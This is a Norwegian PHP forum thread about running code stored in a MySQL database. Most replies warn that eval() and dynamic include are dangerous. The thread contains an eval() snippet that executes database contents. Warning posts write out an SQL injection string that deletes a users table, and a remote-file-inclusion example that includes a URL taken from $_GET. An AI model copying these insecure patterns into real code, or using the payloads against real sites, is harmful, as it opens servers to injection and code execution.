Jump to content
Sign in to follow this  
vevo1992

[Løst] Hvordan bruke PHP Include fra MySql

Recommended Posts

Hei, jeg lurer på hvordan jeg kan hente php koder skrevet inn i en mysql database? Dette er koder som skal brukes i en php fil, f.eks.

 

 

<?php

include ( kode fra mysql );

den skal hente info og brukes i php filen som om det er en function.

?>

Share this post


Link to post

Generelt:

 

Er det noe forskjellig fra og hente annen informasjon fra en SQL fil?

 

http://www.oopschool.com/books/ProPHP6Example.pdf Avsnitt 4.

 

den skal hente info og brukes i php filen som om det er en function.

  1. Som om er ikke det samme som er. Djevelen ligger i detaljene.
  2. Merk også at MySQL og særlig PostGreSQL har innebygde funksjoner og prosedyrer som utfører samme operasjon raskere enn å gjøre det samme i PHP eller i et annet skripting språk.

 

Informasjonen leses ofte inn i en en eller flerdimensjonal array for så å behandles videre i skriptet.

 

Jeg har aldri selv prøvd det du vil gjøre, men kan du hente det som en fil som legges i en mappe på serveren (du må ha skrive adgang til den mappen chmod 777 f.eks.) og kjøres senere i programmet. En annen mulg løsning er å levere koden som XML kode om det kan gjøre det samme. Jeg har heller ikke prøvd det.

Edited by kgun

Share this post


Link to post
Annonse

Og hvor kompakt kan det gjøres om koden ligger i en celle i en rad?

 

Kan hende åpner dette for avansert database / skripting løsninger ved å kombinere det med en eller annen join. Jeg bare tenker høyt. Noen ganger er bare en av 10 tanker brukbare, men det er bede enn ingen :new_woot:

Share this post


Link to post

Kompakte løsninger er geniale. Statistikk er ofte projeksjoner i hilbert rom.

 

Sofus Lie var fra Moss hvor jeg nå bor. Jeg fikk høre (tror det var på matnat UIO) at Einsteins relativitetsteori blir enkel om du kan Lie Algebra. Det er nok desverre ikke enkelt å beherske Lie Algebra: http://mathworld.wolfram.com/LieAlgebra.html

 

Tenk at et treff fra Wolfram var like under Wikipedia treffet. :roll: som selvsagt har første plassen :blush:

Edited by kgun

Share this post


Link to post

Eksempel som jeg tror fungerer til førstepost:

$sql = mysql_query("SELECT * FROM `row` WHERE celle_id=1");
$res = mysql_fetch_array($sql);

$data = $res['celle1'];
eval("<?php ". $data ." ?>");

 

Jeg slet litt med å se hva du mente kgun... Skal si at Sofis Lie (Lie Algebra) har slått godt ann.. søkte selv litt på det, synd jeg kan så ite matematikk :p

 

Edit: Something was edited.. :)

Edited by warpie

Share this post


Link to post

Hvorfor i alle verden vil du gjøre dette da? Det er i utgangspunktet en treig og ikke minst usikker løsning, så hvorfor bruke den? Hva skjer om du glemmer å sikre en query et sted i koden din? Nå kan man i prinsippet inkludere hvilke filer man vil på nettsiden din om du er skikkelig uheldig.

 

Funksjoner som eval() er ikke til å spøke med.

 

xibriz: Bra flere er våkne her.

Edited by Sono Juventino

Share this post


Link to post

Eval is evil!!

 

Dette blir en våt drøm for noen som klarer å injecte den databasen med php-kode :D

Hva om de kombineres med "Prepared statements" samt PDO?

 

http://www.php.net/manual/en/pdo.prepare.php

 

Bla ned til siste eksempel.

 

Prepared statements in MySQL are an alternative to writing raw SQL code to execute. Instead, you write a statement with placeholders (?)

Kilde: http://www.ultramegatech.com/2009/07/using-mysql-prepared-statements-in-php/

 

Ja takk begge deler sikkerhet og raskhet er ikke alltid oppnåelig om dere da ikke har en bedre løsning?

 

Generelt søk:

 

php prepared statements mysql

 

Les også der om pro og kontra i ovennevnte tråd:

 

A prepared statement is basically a template that can be reused with different variables. There are some benefits and drawbacks to prepared statements that should be considered:

 

Pros:

 

Prevents SQL injection without needing to escape data

Allows you to repeat the same statement without the overhead of parsing the SQL

Allows you to send raw binary data in packets

Creates code that is easier to read by separating SQL logic from data

 

Cons:

 

Slower for one time queries since it requires two requests from the MySQL server

Limited to SELECT, INSERT, REPLACE, UPDATE, DELETE, and CREATE TABLE queries

Placeholders can only be used for values and not table/column names

 

Conclusion: I'd say prepared statements win due to security benefits alone

 

PHP supports MySQL prepared statements using the Mysqli (MySQL Improved) extension in PHP 5 via the MySQLi_STMT class. They are fairly easy to use once you get used to the differences from writing raw SQL statements. This tutorial will explain how to use prepared statements.

Edited by kgun

Share this post


Link to post

Det finnes langt bedre løsninger. Om det kodes objekt-orientert, burde man absolutt ta en kikk på __autoload(). En relativt vanlig løsning i MVC er en routerkomponent som inkluderer filer automatisk. Dette er nok allikevel ikke spesielt aktuelt i prosedyrekode.

 

Et annet alternativ å er bruke konstanter eller klassekonstanter.

 

Egentlig kan man godt lagre NAVNET på filen i databasen. Det hadde derimot vært langt bedre å gjøre tilsvarende:

 

$file = $sql['row'].'.php';

 

include($file); Med noen få sjekker (../, http://, f. eks) ville vært langt sikrere.

 

Btw: Prepared statements er ikke noe nytt. Det vil helt klart bedre sikkerheten, men det hindrer ikke annet enn injection. "'; or username = 1" er fortsatt en lovlig verdi i databasen, selv om den nå er ufarlig i spørringen i seg selv. Det er fortsatt mulig å putte farlig php-kode inn i databasen.

Edited by Sono Juventino

Share this post


Link to post

Det er fortsatt mulig å putte farlig php-kode inn i databasen.

Det sikreste er nok å ikke tillate kode i databasen i det hele tatt. Kan ikke det samme oppnås om man legger koden i en fil, men det er vel heller ikke sikkert. SQLite er jo en filbasert databaseløsning. SQLlite er som json godt nok til noen formål. Noen ganger er godt nok best.

 

Jeg er visst den eneste tilhengeren av cURL her inne. Uten at jeg har gått i dypden på cURL, hevdes det av min amerikanske hoster å være den sikreste måten å kalle fjerne skript på.

 

Men man bør vel strengt tatt bare kalle skript man selv har kontroll på.

 

Bør man med andre ord være varsom med å legge lenker som denne:

 

http://www.articlenorway.com/feature/feature1.php (Min så den har jeg kontroll på) i en database?

 

Hva om jeg endret innholdet på den lenken til å slette hele databasen? Er det mulig?

 

Dvs bedre å legge lenker i et HTML dokument enn i en php fil.

Edited by kgun

Share this post


Link to post

Å legge linker i databasen er i prinsippet ufarlig i seg selv. Det er med andre ord ikke farlig å angi profilbildet til en bruker i databasen som "/images/users/username.png". Det farlige er å gi folk muligheten til å spesifisere linker til innhold de kan INKLUDERE og dermed kjøre på din egen server. Eval() er i så måte KRISE.

 

I prinsippet er det ikke mulig å slette noe via databasen via en link. Enkelte nettsider sikrer allikevel alt for dårlig mot slikt. Det er ikke uvanlig å se kode som dette:

 

$username = $_GET['user'];
$query = "SELECT * FROM user WHERE username = '$username'";
// Query kjører her

 

Hva skjer om jeg skriver sidenavn.php?user='' OR 1; DELETE FROM USERS WHERE 1

 

Hva skjer så om man tillater følgende?

 

$file = $_GET['file'];
include($file);

 

http://side.com/index.php?file=http://dangerous.com/script.php

 

 

Kort fortklart handler det om å hindre brukere i å kunne gjennomføre slike ting. Da skriver man gjerne en include for hånd for mye om man er usikker.

Edited by Sono Juventino

Share this post


Link to post

Det er ingen problem å legge hva som helst i en database, alt handler om escaping av spesielle (farlige) karakterer for det spesielle bruksområdet.

 

Problemet er når du henter det ut av databasen å kjører det i en funksjon som eval(). Da bør du ha 100% stålkontroll på hva som kjøres i den funksjonen.

 

Hvis det er en fil som ligger lokalt på serveren så er det bedre å kjøre file_exist() for å sjekke at filen faktisk finnes før man inkluderer den.

 

Jeg har ingen problemer med cURL, men da henter du innholdet fra en ekstern side inn i din side.. da bør du være sikker på at det ikke er noe XSS på gang å kjøre htmlspecialchars() på all output.

Share this post


Link to post

eval() er ikke problemet. Problemet vil da være at SQL-kallingene kan være dårlig sikret. Jeg for min del er veldig streng på sikkerheten, og dette uten unntak når jeg utvikler sider som tar i bruk eval(). Det skal kjeldent være et problem om du bare tenker sikkerhet først.

 

Hackeren må ha et vis på å komme seg inn i den databasen. Og det er slett ikke altid så lett :)

 

I vote for this: Funksjoner som eval() er ikke til å spøke med.

Edited by warpie

Share this post


Link to post

Jeg skulle gjerne fått demontstrert ett forslag der man faktisk trenger å bruke eval().

 

Ifølge PHP sine egne hjemmesider er dette alltid SISTE utvei. Alt annet er prøvd, alt annet har feilet å man må av en eller annen merkelig grunn bruke eval().

Share this post


Link to post

Jobber en del med utvikling av applikasjoner, tenkte det ville ver enkelt å skrive kodene inn i mysql å redigere direkte på siden min istedet for å lage en .php fil, skal prøve ut eva();

Share this post


Link to post

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Loading...
Sign in to follow this  

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...